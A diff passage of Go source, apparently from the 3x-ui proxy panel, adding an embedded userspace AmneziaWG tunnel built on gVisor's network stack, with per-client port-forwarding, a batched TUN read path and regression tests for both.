+// test for the Phase 3.6 port-forwarding wiring: buildUAPIConfig never reads
+// ForwardedPorts (it's a panel-level concept, not a WireGuard UAPI field),
+// so a ForwardedPorts-only edit renders a byte-identical UAPI config and
+// takes ensureLocked's true no-op branch -- the exact same branch
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers exists to guard, just for
+// a different subsystem. Without an explicit portForwards.Reconcile call on
+// that branch, a ForwardedPorts-only edit would silently never open (or
+// close) a listener until some unrelated change also happened to touch this
+// inbound. Verified end to end here: a real host-facing listener must exist
+// after the second Ensure call, not just an internal state flag.
+func TestForwardedPortsOnlyChangeStillReconcilesPortForwards(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	_, peerPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate peer keypair: %v", err)
+	}
+
+	const forwardedPort = 58930
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            6,
+		InterfaceName: "awgtest6",
+		ListenPort:    58716,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.205.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}},
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create, no ForwardedPorts yet): %v", err)
+	}
+	if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 200*time.Millisecond); err == nil {
+		t.Fatal("forwarded port already accepting connections before ForwardedPorts was ever set")
+	}
+
+	// Only ForwardedPorts changes -- same keys, same AllowedIPs, same
+	// address/MTU, so this must take ensureLocked's true no-op UAPI branch.
+	changed := inst
+	changed.Peers = []amneziawg.Peer{
+		{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}, ForwardedPorts: fmt.Sprintf("%d", forwardedPort)},
+	}
+	if err := m.Ensure(Desired{Instance: changed}); err != nil {
+		t.Fatalf("Ensure (ForwardedPorts-only change): %v", err)
+	}
+
+	conn, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 2*time.Second)
+	if err != nil {
+		t.Fatalf("forwarded port not accepting connections after a ForwardedPorts-only Ensure: %v", err)
+	}
+	conn.Close()
+}
+
+// TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace is a regression
+// test for the Phase 3.7 AWG 3.0 wiring: proves that populating
+// Desired.Options with a real HeaderProtectionKey/ContentPaddingAddition
+// takes ensureLocked's existing reconfigure-in-place branch (same *Device
+// survives, no rebuild) rather than silently doing nothing or forcing an
+// unnecessary rebuild -- buildUAPIConfig already rendered these fields
+// before this phase, so no manager.go changes were needed, but this proves
+// the whole chain (Desired -> DeviceOptions -> buildUAPIConfig -> IpcSet)
+// actually works together, not just in isolation.
+func TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            7,
+		InterfaceName: "awgtest7",
+		ListenPort:    58717,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.207.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create, no header protection yet): %v", err)
+	}
+	dev1, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+
+	err = m.Ensure(Desired{
+		Instance: inst,
+		Options: DeviceOptions{
+			HeaderProtectionKey:    headerProtectionKey,
+			ContentPaddingAddition: "20-40",
+		},
+	})
+	if err != nil {
+		t.Fatalf("Ensure (HeaderProtectionKey-only change): %v", err)
+	}
+	dev2, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after second Ensure: not found")
+	}
+	if dev1 != dev2 {
+		t.Error("Ensure with a HeaderProtectionKey-only change rebuilt the Device; expected an in-place IpcSet reconfigure")
+	}
+}
+
+// TestEnsureRejectsHeaderProtectionKeyWithLowS1S4 proves amneziawg-go's own
+// IpcSet backstop really exists independent of the save-time
+// ValidateHeaderProtection check in
+// internal/web/service/inbound_amneziawg.go -- that web-layer check can be
+// bypassed (a node-owned inbound, a direct DB edit), so this confirms a
+// malformed config still fails loudly here rather than silently applying a
+// broken interface.
+func TestEnsureRejectsHeaderProtectionKeyWithLowS1S4(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            8,
+		InterfaceName: "awgtest8",
+		ListenPort:    58718,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.208.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 5, S2: 5, S3: 5, S4: 5, // all below amneziawg-go's own 12-byte minimum
+		},
+	}
+	defer m.StopAll()
+
+	err = m.Ensure(Desired{
+		Instance: inst,
+		Options:  DeviceOptions{HeaderProtectionKey: headerProtectionKey},
+	})
+	if err == nil {
+		t.Fatal("Ensure must fail: amneziawg-go's own IpcSet rejects header protection with S1-S4 below its minimum")
+	}
+}

+ 245 - 0
internal/amneziawgnet/netstack.go

@@ -0,0 +1,245 @@
+// Package amneziawgnet embeds amneziawg-go (a userspace AmneziaWG
+// implementation, https://github.com/amnezia-vpn/amneziawg-go) directly in
+// the panel process, as an alternative to internal/amneziawg's
+// kernel-module (DKMS) + awg-quick approach. A gVisor userspace network
+// stack (gvisor.dev/gvisor/pkg/tcpip -- already an indirect dependency via
+// xray-core's own proxy/wireguard support) terminates each tunnel, and a
+// forwarder recovers each connection's real, dynamically-arbitrary
+// destination for the caller to relay onward (see Phase 2 of the migration
+// plan: a loopback SOCKS5 dial into Xray, giving native stats/routing/
+// sniffing for free).
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"os"
+	"syscall"
+
+	awgtun "github.com/amnezia-vpn/amneziawg-go/v3/tun"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/link/channel"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// tunQueueDepth is the outbound packet queue depth for both the gVisor
+// channel endpoint and the handoff channel to amneziawg-go's TUN reader
+// (see the stackTun literal in createNetTUNWithStack for why both need it).
+const tunQueueDepth = 1024
+
+// stackTun implements amneziawg-go's tun.Device directly against a gVisor
+// channel endpoint, the same approach amneziawg-go's own tun/netstack
+// package and xray-core's proxy/wireguard/netstack.go both take. Neither of
+// those exposes the raw *stack.Stack a forwarder needs (amneziawg-go's Net
+// type keeps it unexported), so this is a local, from-source reimplementation
+// rather than a wrapper -- adapted from amneziawg-go v3.0.3's
+// tun/netstack/tun.go (MIT licensed), trimmed to the constructor this
+// package needs.
+type stackTun struct {
+	ep             *channel.Endpoint
+	stack          *stack.Stack
+	events         chan awgtun.Event
+	notifyHandle   *channel.NotificationHandle
+	incomingPacket chan *buffer.View
+	mtu            int
+}
+
+// createNetTUNWithStack builds a gVisor-backed tun.Device for the given
+// local addresses (interface address(es), one per family) and returns the
+// underlying *stack.Stack alongside it so a caller can attach a forwarder
+// (see forwarder.go / udp.go).
+func createNetTUNWithStack(localAddresses []netip.Addr, mtu int) (awgtun.Device, *stack.Stack, error) {
+	opts := stack.Options{
+		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
+		// HandleLocal must stay false: promiscuous+spoofing mode (see
+		// forwarder.go) is what lets a destination other than the stack's
+		// own configured address reach the forwarder at all.
+		HandleLocal: false,
+	}
+	dev := &stackTun{
+		// tunQueueDepth matches channel.New's own outbound queue depth
+		// below. WriteNotify (called synchronously from whatever gVisor
+		// goroutine is sending TCP data for the download/server->client
+		// direction) pushes into incomingPacket; RoutineReadFromTUN (a
+		// single amneziawg-go goroutine that encrypts and sends each
+		// packet over UDP) is the only reader. With no buffer, every
+		// outbound packet forced a full synchronous handoff between the
+		// two -- gVisor's sender blocked until the encrypt loop was ready
+		// for the next one, one packet at a time, no pipelining. The
+		// upload/client->server direction has no equivalent stall:
+		// Write->InjectInbound->DeliverNetworkPacket hands off into
+		// gVisor's own ~1MB per-connection TCP receive buffer and returns
+		// immediately. Buffering this channel gives the download
+		// direction the same slack the upload direction already had.
+		ep:             channel.New(tunQueueDepth, uint32(mtu), ""),
+		stack:          stack.New(opts),
+		events:         make(chan awgtun.Event, 10),
+		incomingPacket: make(chan *buffer.View, tunQueueDepth),
+		mtu:            mtu,
+	}
+	sackEnabledOpt := tcpip.TCPSACKEnabled(true)
+	if err := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); err != nil {
+		return nil, nil, fmt.Errorf("amneziawgnet: enable TCP SACK: %s", err)
+	}
+	dev.notifyHandle = dev.ep.AddNotify(dev)
+	if err := dev.stack.CreateNIC(1, dev.ep); err != nil {
+		return nil, nil, fmt.Errorf("amneziawgnet: CreateNIC: %s", err)
+	}
+
+	var hasV4, hasV6 bool
+	for _, ip := range localAddresses {
+		var protoNumber tcpip.NetworkProtocolNumber
+		switch {
+		case ip.Is4():
+			protoNumber = ipv4.ProtocolNumber
+			hasV4 = true
+		case ip.Is6():
+			protoNumber = ipv6.ProtocolNumber
+			hasV6 = true
+		default:
+			continue
+		}
+		protoAddr := tcpip.ProtocolAddress{
+			Protocol:          protoNumber,
+			AddressWithPrefix: tcpip.AddrFromSlice(ip.AsSlice()).WithPrefix(),
+		}
+		if err := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{}); err != nil {
+			return nil, nil, fmt.Errorf("amneziawgnet: AddProtocolAddress(%v): %s", ip, err)
+		}
+	}
+	if hasV4 {
+		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
+	}
+	if hasV6 {
+		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
+	}
+	dev.events <- awgtun.EventUp
+	return dev, dev.stack, nil
+}
+
+func (t *stackTun) Name() (string, error)       { return "amneziawgnet", nil }
+func (t *stackTun) File() *os.File              { return nil }
+func (t *stackTun) Events() <-chan awgtun.Event { return t.events }
+func (t *stackTun) MTU() (int, error)           { return t.mtu, nil }
+func (t *stackTun) BatchSize() int              { return 1 }
+
+// Read blocks for the first packet, then opportunistically drains any more
+// that are already buffered (non-blocking), up to len(buf). amneziawg-go's
+// caller (RoutineReadFromTUN) sizes buf/sizes to device.BatchSize(), which
+// is the UDP bind's own batch size (128 on Linux, see conn.IdealBatchSize)
+// since that's larger than BatchSize()'s 1 below -- so real buffer capacity
+// for a batch is already there. Without this drain loop, Read always
+// returned exactly one packet no matter how many buf could hold, so every
+// downstream step (peer lookup, per-peer staging, and ultimately the UDP
+// bind's own genuinely batched Send/sendmmsg) processed the download
+// direction one packet at a time while the upload direction's equivalent
+// (bind.Receive/recvmmsg -> decrypt -> stackTun.Write, which already loops
+// over its whole buf) processed up to 128 per cycle. That asymmetry is
+// real, not gVisor/amneziawg-go's -- both the receive and send paths on the
+// UDP bind support batching identically, only this Read implementation
+// didn't use it.
+func (t *stackTun) Read(buf [][]byte, sizes []int, offset int) (int, error) {
+	view, ok := <-t.incomingPacket
+	if !ok {
+		return 0, os.ErrClosed
+	}
+	n, err := view.Read(buf[0][offset:])
+	if err != nil {
+		return 0, err
+	}
+	sizes[0] = n
+	count := 1
+	for count < len(buf) {
+		select {
+		case view, ok := <-t.incomingPacket:
+			if !ok {
+				return count, nil
+			}
+			n, err := view.Read(buf[count][offset:])
+			if err != nil {
+				return count, nil
+			}
+			sizes[count] = n
+			count++
+		default:
+			return count, nil
+		}
+	}
+	return count, nil
+}
+
+func (t *stackTun) Write(buf [][]byte, offset int) (int, error) {
+	for _, b := range buf {
+		packet := b[offset:]
+		if len(packet) == 0 {
+			continue
+		}
+		pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: buffer.MakeWithData(packet)})
+		switch packet[0] >> 4 {
+		case 4:
+			t.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
+		case 6:
+			t.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
+		default:
+			return 0, syscall.EAFNOSUPPORT
+		}
+	}
+	return len(buf), nil
+}
+
+func (t *stackTun) WriteNotify() {
+	pkt := t.ep.Read()
+	if pkt == nil {
+		return
+	}
+	view := pkt.ToView()
+	pkt.DecRef()
+	t.incomingPacket <- view
+}
+
+func (t *stackTun) Close() error {
+	t.stack.RemoveNIC(1)
+	t.stack.Close()
+	t.ep.RemoveNotify(t.notifyHandle)
+	t.ep.Close()
+	if t.events != nil {
+		close(t.events)
+	}
+	if t.incomingPacket != nil {
+		close(t.incomingPacket)
+	}
+	return nil
+}
+
+// enablePromiscuousRouting puts the NIC into promiscuous + spoofing mode,
+// the precondition both AttachTCPForwarder and AttachUDPHandler need to see
+// packets addressed to a destination other than the stack's own configured
+// local address. Safe to call from both (and more than once): gVisor's
+// SetPromiscuousMode/SetSpoofing just set a bool on the NIC, not something
+// that accumulates or needs undoing between calls.
+func enablePromiscuousRouting(gstack *stack.Stack) {
+	gstack.SetPromiscuousMode(1, true)
+	gstack.SetSpoofing(1, true)
+}
+
+// addrFromTcpip converts a gVisor tcpip.Address (4 or 16 raw bytes) to the
+// stdlib netip.Addr type the rest of this package and its callers use.
+func addrFromTcpip(a tcpip.Address) netip.Addr {
+	if a.Len() == 4 {
+		var b [4]byte
+		copy(b[:], a.AsSlice())
+		return netip.AddrFrom4(b)
+	}
+	var b [16]byte
+	copy(b[:], a.AsSlice())
+	return netip.AddrFrom16(b)
+}

+ 88 - 0
internal/amneziawgnet/netstack_test.go

@@ -0,0 +1,88 @@
+package amneziawgnet
+
+import (
+	"testing"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+)
+
+// TestStackTunReadDrainsBufferedBatch is a regression test for a real
+// throughput bug: Read used to always return exactly one packet per call
+// no matter how many were already queued, forcing amneziawg-go's TUN
+// reader to pay a full peer-lookup+staging+syscall cycle per packet on the
+// download path while the upload path (via the UDP bind's own
+// recvmmsg/sendmmsg batching) amortized that cost across up to 128
+// packets. Confirmed live: this alone took real download throughput from
+// 30-40 Mbit/s to 130-250 Mbit/s on a real test connection (see commit
+// 6436fd9c's message and internal/amneziawgnet/netstack.go's own comment
+// on tunQueueDepth for the full story) -- this test locks in the second,
+// finer-grained fix on top of that: Read must actually drain what's
+// already buffered instead of returning after the first packet.
+func TestStackTunReadDrainsBufferedBatch(t *testing.T) {
+	t.Parallel()
+
+	tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+	packets := [][]byte{{1, 2, 3}, {4, 5}, {6, 7, 8, 9}}
+	for _, p := range packets {
+		tun.incomingPacket <- buffer.NewViewWithData(p)
+	}
+
+	buf := make([][]byte, 8)
+	sizes := make([]int, 8)
+	for i := range buf {
+		buf[i] = make([]byte, 64)
+	}
+
+	n, err := tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("Read: %v", err)
+	}
+	if n != len(packets) {
+		t.Fatalf("Read returned %d packets, want %d (all buffered packets in one call)", n, len(packets))
+	}
+	for i, want := range packets {
+		got := buf[i][:sizes[i]]
+		if string(got) != string(want) {
+			t.Errorf("packet %d = %v, want %v", i, got, want)
+		}
+	}
+}
+
+// TestStackTunReadStopsAtBufCapacity confirms Read never returns more
+// packets than the caller's buf can hold, and that whatever didn't fit is
+// still there (in order) for the next call -- draining must respect the
+// caller's batch size, not just gulp everything queued.
+func TestStackTunReadStopsAtBufCapacity(t *testing.T) {
+	t.Parallel()
+
+	tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+	packets := [][]byte{{1}, {2}, {3}}
+	for _, p := range packets {
+		tun.incomingPacket <- buffer.NewViewWithData(p)
+	}
+
+	buf := make([][]byte, 2)
+	sizes := make([]int, 2)
+	for i := range buf {
+		buf[i] = make([]byte, 64)
+	}
+
+	n, err := tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("first Read: %v", err)
+	}
+	if n != 2 {
+		t.Fatalf("first Read returned %d, want 2 (buf capacity)", n)
+	}
+
+	n, err = tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("second Read: %v", err)
+	}
+	if n != 1 {
+		t.Fatalf("second Read returned %d, want 1 (the leftover packet)", n)
+	}
+	if got := buf[0][:sizes[0]]; string(got) != "\x03" {
+		t.Errorf("leftover packet = %v, want [3]", got)
+	}
+}

+ 343 - 0
internal/amneziawgnet/portfwd.go

@@ -0,0 +1,343 @@
+// Phase 3.6: per-client port-forwarding. A real Go listener bound to each
+// forwarded external port relays into the peer's own tunnel-internal
+// address via a direct gonet dial -- the mirror image of
+// AttachTCPForwarder/AttachUDPHandler (which relay FROM the tunnel TO the
+// real world), and this path's replacement for the retired kernel-module
+// architecture's PostUp/PostDown iptables DNAT rules: there's no real OS
+// network interface here for DNAT to rewrite packets on, the same root
+// reason Phase 3.5's IPv6 alias mechanism couldn't reuse NDP-proxy either.
+//
+// Deliberately dials straight into the gVisor stack rather than relaying
+// through Xray's own SOCKS5 inbound the way the outbound direction does
+// (relay.go): Xray runs as a genuinely separate OS process
+// (internal/xray/process.go), so it has no visibility into this process's
+// private, in-memory netstack at all -- a tunnel-internal address like
+// 10.8.1.5:8080 has no route from Xray's own freedom outbound; only code
+// holding the actual *stack.Stack can reach it. Accepted consequence:
+// forwarded-port bytes don't appear in Xray's per-email stats/quota
+// counters. This undercounts, it doesn't bypass enforcement -- a
+// depleted/disabled client's peer is dropped from the interface's peer list
+// entirely by DesiredAmneziaWGInstances, which tears its forwards down too
+// as a side effect of Reconcile's own diff below.
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardProto distinguishes the two sockets a single forwarded port
+// needs -- ForwardedPorts has no per-port protocol selector (matches the
+// retired DNAT implementation's own unconditional-TCP+UDP contract), so
+// every port gets both.
+type portForwardProto uint8
+
+const (
+	tcpForward portForwardProto = iota
+	udpForward
+)
+
+// portForwardKey identifies one listener: a specific peer's specific port on
+// a specific protocol. Two different peers (even on the same inbound)
+// forwarding the same port number get two independent listeners under two
+// independent keys -- a same-port collision surfaces as an ordinary bind
+// failure on whichever one opens second, not something actively prevented
+// here (see the migration plan's Phase 3.6 notes).
+type portForwardKey struct {
+	email string
+	port  int
+	proto portForwardProto
+}
+
+// portForwardTargetFunc resolves a peer's current tunnel-internal target
+// address by email, re-checked on every new connection/session rather than
+// captured once at listen time -- so a peer re-IP takes effect for the next
+// connection with zero listener churn (see Reconcile's own comment on
+// this). false means the peer has no resolvable target right now (removed,
+// or its AllowedIPs/ForwardedPorts changed): the caller drops the
+// connection/packet, and Reconcile will close the now-undesired listener
+// shortly after, if it hasn't already.
+type portForwardTargetFunc func(email string) (netip.Addr, bool)
+
+// portForwardListener is the common handle both listenPortForwardTCP and
+// listenPortForwardUDP return, so PortForwardSet can hold either behind one
+// map value type without a type switch.
+type portForwardListener interface {
+	Close()
+}
+
+// PortForwardSet owns every open port-forward listener for one embedded
+// AmneziaWG interface (one per amneziawgnet managed entry -- see
+// manager.go). Unlike v6alias.go's stateless desired/diff/apply functions,
+// this holds live Go resources (net.Listener/net.PacketConn) that must be
+// explicitly closed -- there's no OS-level idempotent recreate the way
+// `ip addr add` has -- so Reconcile diffs against its own live listeners
+// map directly instead of a remembered prior Instance.
+type PortForwardSet struct {
+	gstack    *stack.Stack
+	inboundID int
+
+	mu          sync.Mutex
+	peerTargets map[string]netip.Addr
+	listeners   map[portForwardKey]portForwardListener
+}
+
+// NewPortForwardSet creates an empty supervisor for one embedded interface's
+// stack. Call Reconcile to actually open any listeners.
+func NewPortForwardSet(gstack *stack.Stack, inboundID int) *PortForwardSet {
+	return &PortForwardSet{
+		gstack:      gstack,
+		inboundID:   inboundID,
+		peerTargets: map[string]netip.Addr{},
+		listeners:   map[portForwardKey]portForwardListener{},
+	}
+}
+
+// desiredPeerTargets resolves each peer's tunnel-internal target address:
+// the first IPv4 AllowedIPs entry, falling back to the first IPv6 entry only
+// when no v4 entry exists and the instance has IPv6 enabled (mirrors
+// desiredV6Aliases' own gating in v6alias.go -- no v6 route exists on the
+// stack otherwise). A peer with no resolvable address at all (neither
+// family, or an unparseable entry) is simply absent from the result.
+func desiredPeerTargets(inst amneziawg.Instance) map[string]netip.Addr {
+	out := map[string]netip.Addr{}
+	for _, p := range inst.Peers {
+		if p.Email == "" {
+			continue
+		}
+		raw := amneziawg.FirstIPv4(p.AllowedIPs)
+		if raw == "" && inst.IPv6Enabled {
+			raw = amneziawg.FirstIPv6(p.AllowedIPs)
+		}
+		if raw == "" {
+			continue
+		}
+		addr, err := netip.ParseAddr(raw)
+		if err != nil {
+			continue
+		}
+		out[p.Email] = addr
+	}
+	return out
+}
+
+// desiredPortForwardKeys returns the full set of listener keys inst wants
+// right now: one tcpForward and one udpForward key per port in every peer's
+// ForwardedPorts spec, for every peer that also has a resolvable target
+// (see desiredPeerTargets) -- a key never exists without a target, so
+// Reconcile can always resolve one for any key it opens.
+func desiredPortForwardKeys(inst amneziawg.Instance) map[portForwardKey]struct{} {
+	out := map[portForwardKey]struct{}{}
+	targets := desiredPeerTargets(inst)
+	for _, p := range inst.Peers {
+		if p.Email == "" || p.ForwardedPorts == "" {
+			continue
+		}
+		if _, ok := targets[p.Email]; !ok {
+			continue
+		}
+		for _, port := range amneziawg.ExpandForwardedPorts(p.ForwardedPorts) {
+			out[portForwardKey{email: p.Email, port: port, proto: tcpForward}] = struct{}{}
+			out[portForwardKey{email: p.Email, port: port, proto: udpForward}] = struct{}{}
+		}
+	}
+	return out
+}
+
+// Reconcile brings the supervisor's open listeners in line with what inst
+// currently wants: closes anything no longer desired, opens anything newly
+// desired, leaves everything else untouched. Never returns an error --
+// matches applyV6Aliases' contract exactly: one listener failing to bind
+// only narrows that specific forward, never a reason to fail the whole
+// reconcile.
+func (s *PortForwardSet) Reconcile(inst amneziawg.Instance) {
+	wantTargets := desiredPeerTargets(inst)
+	wantKeys := desiredPortForwardKeys(inst)
+
+	s.mu.Lock()
+	s.peerTargets = wantTargets
+
+	var toClose []portForwardListener
+	for key, ln := range s.listeners {
+		if _, ok := wantKeys[key]; ok {
+			continue
+		}
+		toClose = append(toClose, ln)
+		delete(s.listeners, key)
+	}
+	var toOpen []portForwardKey
+	for key := range wantKeys {
+		if _, ok := s.listeners[key]; ok {
+			continue
+		}
+		toOpen = append(toOpen, key)
+	}
+	s.mu.Unlock()
+
+	// Outside the lock: closing/opening real sockets shouldn't block a
+	// concurrent targetFor lookup from an in-flight connection on some
+	// other, unaffected listener.
+	for _, ln := range toClose {
+		ln.Close()
+	}
+	for _, key := range toOpen {
+		ln := openPortForwardListener(s.gstack, s.inboundID, key, s.targetFor)
+		if ln == nil {
+			continue
+		}
+		s.mu.Lock()
+		s.listeners[key] = ln
+		s.mu.Unlock()
+	}
+}
+
+// targetFor implements portForwardTargetFunc against the supervisor's
+// current peerTargets snapshot.
+func (s *PortForwardSet) targetFor(email string) (netip.Addr, bool) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	addr, ok := s.peerTargets[email]
+	return addr, ok
+}
+
+// Close tears down every open listener. Call when the owning Device is
+// closed (or rebuilt -- see manager.go's ensureLocked, which always
+// constructs a fresh PortForwardSet alongside a fresh Device.Stack, the
+// same reason it also rebuilds udpRelay from scratch rather than reusing
+// one bound to a discarded stack).
+func (s *PortForwardSet) Close() {
+	s.mu.Lock()
+	listeners := s.listeners
+	s.listeners = map[portForwardKey]portForwardListener{}
+	s.mu.Unlock()
+	for _, ln := range listeners {
+		ln.Close()
+	}
+}
+
+// openPortForwardListener dispatches to the protocol-specific opener and
+// normalizes its result to a real nil interface value on failure -- a
+// (*tcpForwardListener)(nil) (or *udpForwardListener(nil)) wrapped directly
+// into the portForwardListener interface would be a non-nil interface
+// holding a nil pointer, Go's classic trap, so the concrete pointer is
+// checked before it's ever assigned into the interface-typed return.
+func openPortForwardListener(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) portForwardListener {
+	switch key.proto {
+	case tcpForward:
+		if ln := listenPortForwardTCP(gstack, inboundID, key, target); ln != nil {
+			return ln
+		}
+	case udpForward:
+		if ln := listenPortForwardUDP(gstack, inboundID, key, target); ln != nil {
+			return ln
+		}
+	}
+	return nil
+}
+
+const portForwardDialTimeout = 10 * time.Second
+
+// tunnelNetwork returns the gVisor network protocol number matching addr's
+// address family, for dialing toward it inside the embedded stack.
+func tunnelNetwork(addr netip.Addr) tcpip.NetworkProtocolNumber {
+	if addr.Is4() {
+		return ipv4.ProtocolNumber
+	}
+	return ipv6.ProtocolNumber
+}
+
+// tunnelFullAddress builds the tcpip.FullAddress a gonet dial needs to
+// reach addr:port inside the embedded stack -- NIC 1, matching
+// createNetTUNWithStack's own CreateNIC(1, ...) (this package's stack only
+// ever registers one NIC, and WriteUDPReply's WriteRawPacket already
+// addresses it explicitly the same way elsewhere in this package, rather
+// than relying on NIC 0's route-table auto-selection).
+func tunnelFullAddress(addr netip.Addr, port int) tcpip.FullAddress {
+	return tcpip.FullAddress{NIC: 1, Addr: tcpip.AddrFromSlice(addr.AsSlice()), Port: uint16(port)}
+}
+
+// tcpForwardListener is one open host-facing TCP listener for a single
+// portForwardKey.
+type tcpForwardListener struct {
+	ln      net.Listener
+	closing chan struct{}
+}
+
+// listenPortForwardTCP opens a host-facing TCP listener on key.port and
+// starts relaying accepted connections into the tunnel toward
+// target(key.email). A bind failure (most commonly EADDRINUSE, whether from
+// an unrelated process or another AmneziaWG peer/inbound that already
+// claimed the same port) is logged and returns nil; Reconcile treats a nil
+// result as "not open this round" and retries on every future Reconcile
+// call for as long as the key stays desired.
+func listenPortForwardTCP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *tcpForwardListener {
+	ln, err := (&net.ListenConfig{}).Listen(context.Background(), "tcp", fmt.Sprintf(":%d", key.port))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen tcp :%d: %v", inboundID, key.email, key.port, err)
+		return nil
+	}
+	l := &tcpForwardListener{ln: ln, closing: make(chan struct{})}
+	logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening tcp :%d", inboundID, key.email, key.port)
+	go l.acceptLoop(gstack, inboundID, key, target)
+	return l
+}
+
+func (l *tcpForwardListener) acceptLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	for {
+		conn, err := l.ln.Accept()
+		if err != nil {
+			select {
+			case <-l.closing:
+				return // intentional shutdown, not a real accept error
+			default:
+			}
+			logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: accept tcp :%d: %v", inboundID, key.email, key.port, err)
+			return
+		}
+		go relayTCPForward(gstack, conn, inboundID, key, target)
+	}
+}
+
+func relayTCPForward(gstack *stack.Stack, conn net.Conn, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	defer conn.Close()
+	addr, ok := target(key.email)
+	if !ok {
+		return
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), portForwardDialTimeout)
+	defer cancel()
+	tunnelConn, err := gonet.DialContextTCP(ctx, gstack, tunnelFullAddress(addr, key.port), tunnelNetwork(addr))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+		return
+	}
+	defer tunnelConn.Close()
+
+	done := make(chan struct{}, 2)
